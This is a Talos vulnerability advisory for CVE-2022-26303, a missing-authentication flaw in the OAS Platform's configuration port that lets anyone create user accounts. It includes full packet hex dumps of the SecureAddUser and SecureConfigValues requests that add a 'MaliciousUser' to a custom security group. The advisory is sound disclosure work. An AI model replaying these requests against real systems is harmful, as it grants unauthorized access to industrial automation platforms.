Talos Vulnerability Report

TALOS-2022-1488

Open Automation Software Platform Engine SecureAddUser External config control vulnerability

MAY 25, 2022

CVE NUMBER

CVE-2022-26303

Summary

An external config control vulnerability exists in the OAS Engine SecureAddUser functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted series of network requests can lead to the creation of an OAS user account. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

Open Automation Software OAS Platform V16.00.0112

Product URLs

OAS Platform - https://openautomationsoftware.com/knowledge-base/getting-started-with-oas/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-306 - Missing Authentication for Critical Function

Details

The OAS Platform was built to facilitate the simplified transfer of data between various proprietary devices and applications. It can be used to connect products from multiple different vendors, connect a product to a custom application, and more.

By sending a series of properly-formatted unauthenticated configuration messages to the OAS Platform, it is possible to create a new OAS user account and apply a custom Security Group. By default these messages can be sent to TCP/58727 and, if successful, will be processed by the user `oasuser` with normal user permissions.

Some configuration commands such as `SecureTransferFiles` require an OAS User account in an authorized OAS Security Group with File Transfer permissions before they can be successfully processed. The default security group that gets applied to users does not include this File Transfer permission.

Through use of the `SecureAddUser` and `SecureConfigValues` commands it is possible to create a new OAS user account and subsequently apply the custom OAS Security Group, all from an unauthenticated context.

A `SecureAddUser` request resembles the following:

```
0000   00 0c 29 5e b3 62 c4 b3 01 c3 ba c9 08 00 45 00   ..)^.b........E.
0010   00 a2 00 00 40 00 40 06 a4 63 c0 a8 0a 6a c0 a8   ....@.@..c...j..
0020   0a 38 ce 09 e5 67 06 47 5a 92 c6 ae 37 55 80 18   .8...g.GZ...7U..
0030   08 0a d7 e1 00 00 01 01 08 0a 6f c6 1a 48 0b 46   ..........o..H.F
0040   28 d2 00 00 00 00 00 80 59 40 00 01 00 00 00 ff   (.......Y@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   03 00 00 00 08 08 01 00 00 00 06 02 00 00 00 0d   ................
0070   53 65 63 75 72 65 41 64 64 55 73 65 72 09 03 00   SecureAddUser...
0080   00 00 10 03 00 00 00 04 00 00 00 08 08 01 00 00   ................
0090   00 06 04 00 00 00 00 09 04 00 00 00 06 05 00 00   ................
00a0   00 0d 4d 61 6c 69 63 69 6f 75 73 55 73 65 72 0b   ..MaliciousUser.
```

A `SecureConfigValues` request resembles the following:

```
0000   00 0c 29 5e b3 62 c4 b3 01 c3 ba c9 08 00 45 00   ..)^.b........E.
0010   01 f8 00 00 40 00 40 06 a3 0d c0 a8 0a 6a c0 a8   ....@.@......j..
0020   0a 38 ce 0a e5 67 13 16 a1 df 95 4d 1c 9b 80 18   .8...g.....M....
0030   08 0a 4d 9b 00 00 01 01 08 0a 5c 3f 31 9e 0b 46   ..M.......\?1..F
0040   28 d5 00 00 00 00 00 c0 7b 40 00 01 00 00 00 ff   (.......{@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   03 00 00 00 08 08 01 00 00 00 06 02 00 00 00 12   ................
0070   53 65 63 75 72 65 43 6f 6e 66 69 67 56 61 6c 75   SecureConfigValu
0080   65 73 09 03 00 00 00 10 03 00 00 00 05 00 00 00   es..............
0090   08 08 01 00 00 00 06 04 00 00 00 00 09 04 00 00   ................
00a0   00 06 05 00 00 00 05 55 73 65 72 73 09 06 00 00   .......Users....
00b0   00 0f 06 00 00 00 4a 01 00 00 02 00 01 00 00 00   ......J.........
00c0   ff ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00   ................
00d0   00 03 00 00 00 08 08 01 00 00 00 06 02 00 00 00   ................
00e0   0d 53 65 74 50 72 6f 70 65 72 74 69 65 73 09 03   .SetProperties..
00f0   00 00 00 10 03 00 00 00 03 00 00 00 06 04 00 00   ................
0100   00 0d 4d 61 6c 69 63 69 6f 75 73 55 73 65 72 09   ..MaliciousUser.
0110   05 00 00 00 09 06 00 00 00 11 05 00 00 00 09 00   ................
0120   00 00 06 07 00 00 00 04 4e 61 6d 65 06 08 00 00   ........Name....
0130   00 08 50 61 73 73 77 6f 72 64 06 09 00 00 00 0d   ..Password......
0140   53 65 63 75 72 69 74 79 47 72 6f 75 70 06 0a 00   SecurityGroup...
0150   00 00 14 41 63 74 69 76 65 44 69 72 65 63 74 6f   ...ActiveDirecto
0160   72 79 47 72 6f 75 70 06 0b 00 00 00 17 41 63 74   ryGroup......Act
0170   69 76 65 44 69 72 65 63 74 6f 72 79 50 72 69 6f   iveDirectoryPrio
0180   72 69 74 79 06 0c 00 00 00 06 46 69 65 6c 64 31   rity......Field1
0190   06 0d 00 00 00 06 46 69 65 6c 64 32 06 0e 00 00   ......Field2....
01a0   00 06 46 69 65 6c 64 33 06 0f 00 00 00 06 46 69   ..Field3......Fi
01b0   65 6c 64 34 10 06 00 00 00 09 00 00 00 09 04 00   eld4............
01c0   00 00 06 11 00 00 00 08 70 61 73 73 77 6f 72 64   ........password
01d0   06 12 00 00 00 0e 4d 61 6c 69 63 69 6f 75 73 47   ......MaliciousG
01e0   72 6f 75 70 06 13 00 00 00 00 08 08 00 00 00 00   roup............
01f0   09 13 00 00 00 09 13 00 00 00 09 13 00 00 00 09   ................
0200   13 00 00 00 0b 0b                                 ......
```

When successfully processed, this will result in a new OAS user account in the specified Security Group, giving that user any permissions allowed by the group. This user can then be used to successfully make authenticated requests to the platform.

Mitigation

The easiest way to mitigate attempts to exploit this vulnerability is to prevent access to the configuration port (TCP/58727 by default) when not actively configuring the OAS Platform. Additionally, use a dedicated user account to run the OAS Platform and ensure that user account does not have any more permissions than absolutely necessary.

Timeline

2022-03-16 - Vendor Disclosure

2022-05-22 - Vendor Patch Release

2022-05-25 - Public Release

CREDIT

Discovered by Jared Rittle of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1489

NEXT REPORT

TALOS-2022-1513